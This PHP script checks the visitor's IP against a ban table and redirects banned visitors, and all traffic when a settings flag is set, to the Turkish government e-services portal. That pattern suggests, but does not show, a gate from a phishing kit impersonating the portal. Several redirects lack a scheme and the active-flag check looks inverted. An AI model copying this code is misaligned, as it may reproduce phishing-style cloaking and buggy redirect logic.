<?php
// Include Functions
include 'functions.php';

// Include Database
include 'db.php';

// Start DB Handler
$db = db_connect();

// Get current IP address
$currIPADDR = getUserIP();

// Check if the user is banned
$sql = "SELECT * FROM bans WHERE ipaddr = ?";
$query = $db->prepare($sql);
try {
    $query->execute([$currIPADDR]);
    $ban = $query->fetch(PDO::FETCH_OBJ);
    if ($ban) {
        header('Location: https://www.turkiye.gov.tr/');
        exit;
    }
} catch (PDOException $e) {
    header('Location: www.turkiye.gov.tr/');
    exit;
}

// Check site settings
$sql = "SELECT isActive FROM settings WHERE id = ?";
$id = 1;
$query = $db->prepare($sql);
try {
    $query->execute([$id]);
    $settings = $query->fetch(PDO::FETCH_OBJ);
    if ($settings->isActive == 1) {
        header('Location: www.turkiye.gov.tr/');
        exit;
    }
} catch (PDOException $e) {
    header('Location: www.turkiye.gov.tr/');
    exit;
}?>